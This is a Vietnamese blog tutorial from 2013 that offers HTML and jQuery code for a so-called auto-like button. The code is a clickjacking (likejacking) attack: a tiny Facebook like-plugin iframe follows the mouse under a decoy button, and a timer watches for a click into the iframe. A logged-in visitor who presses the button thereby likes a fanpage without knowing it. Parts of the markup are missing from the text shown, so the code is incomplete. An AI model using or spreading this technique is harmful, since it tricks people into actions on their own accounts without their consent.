Th6 30 2013
Bộ sưu tập

Tạo nút like một trang trên facebook


https://codersontrang.com/2013/06/30/tao-nut-like-mot-trang-tren-facebook/

Bài viết này sẽ hướng dẫn cách để làm một nút like một trang fanpage nào đó trên facebook. Nút like này sẽ như sau:

1. Khi người dùng click vào nút like này, cửa số mới của trình duyệt sẽ được mở ra và đưa người dùng đến trang fanpage đó

2. Trong trường hợp nếu như người dùng đang login vào một tài khoản facebook nào đó thì trang fanpage sẽ được tự động like bởi tài khoản đó.

Ta tạo một file html và sử dụng thư viện jQuery như hình dưới đây

autolike_1

Nội dung của file HTML sẽ như sau:

 <html>  
 <head>  
 <title>Facebook autolike button</title>  
 http://jquery-1.8.3.min.js  
 </head>  
 <body>  
 <input type="button" id="btn_like" value="Press to like the fanpage on facebook"/>  
 
  
      https%3A%2F%2Fwww.facebook.com%2Fpages%2FCoder-S%C6%A1n-Trang%2F211512032325691 &layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe">  
 
  
   
      var interval;  
      $(function()  
      {  
           interval=setInterval("updateActiveElement();", 50);  
           $('#btn_like').mousemove(function(e){  
                if (iflag == 0) {mouseFollower(e);}  
           });  
           $('#btn_like').click(function(e){  
                navigateToFacebookPage();  
           });  
      });  
      function updateActiveElement()  
      {  
           if ( $(document.activeElement).attr('id')=="fbframe" )  
           {  
                clearInterval(interval);  
                iflag=1;  
                setTimeout(function(){navigateToFacebookPage();}, 500);  
           }    
      }       
      var iflag = 0;  
      var icontainer = document.getElementById('icontainer');    
      var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body; //create reference to common "body" across doctypes  
      function mouseFollower(e){  
           var is_chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;  
           if (window.event && !is_chrome)  
           { // for IE  
                icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';  
                icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';  
           }  
           else  
           {  
                icontainer.style.top = (e.pageY-5)+'px';  
                icontainer.style.left = (e.pageX-5)+'px';  
           }     
      }  
      function navigateToFacebookPage(){  
           window.open('https://www.facebook.com/pages/Coder-S%C6%A1n-Trang/211512032325691');  
      }  
   
 </body>  
 </html>

Trang fanpage mà chúng ta muốn like sẽ là đoạn link màu đỏ trong đoạn code.

Khi mở trang html bằng trình duyệt ta sẽ thấy có một nút “Press to like the fanpage on facebook". Sau khi bấm vào nút này ta thấy một cửa số trình duyệt mới được mở ra. Trong trường hợp ta chưa login vào facebook thì cửa sổ login của facebook được hiện ra. Trong trường hợp ta đã login vào facebook thì ta sẽ thấy trang fanpage được hiện ra và để ý sẽ thấy trang fanpage đã được like bởi tài khoản đang login.

Chú ý:

Trong đoạn mã trên ta thấy có đoạn link như sau:

https%3A%2F%2Fwww.facebook.com%2Fpages%2FCoder-S%C6%A1n-Trang%2F211512032325691

Đó là nội dung của trang fanpage đã được encode, %3A là dấu “:”, còn %2F là dấu “/”. Đoạn link trên bình thường sẽ là như sau:

https://www.facebook.com/pages/Coder-S%C6%A1n-Trang/211512032325691

Advertisements

4 comments on “Tạo nút like một trang trên facebook”

Trả lời

Mời bạn điền thông tin vào ô dưới đây hoặc kích vào một biểu tượng để đăng nhập:

Gravatar
WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com ( Đăng xuất /  Thay đổi )

Google photo

Bạn đang bình luận bằng tài khoản Google ( Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter ( Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook ( Đăng xuất /  Thay đổi )

Hủy bỏ

Connecting to %s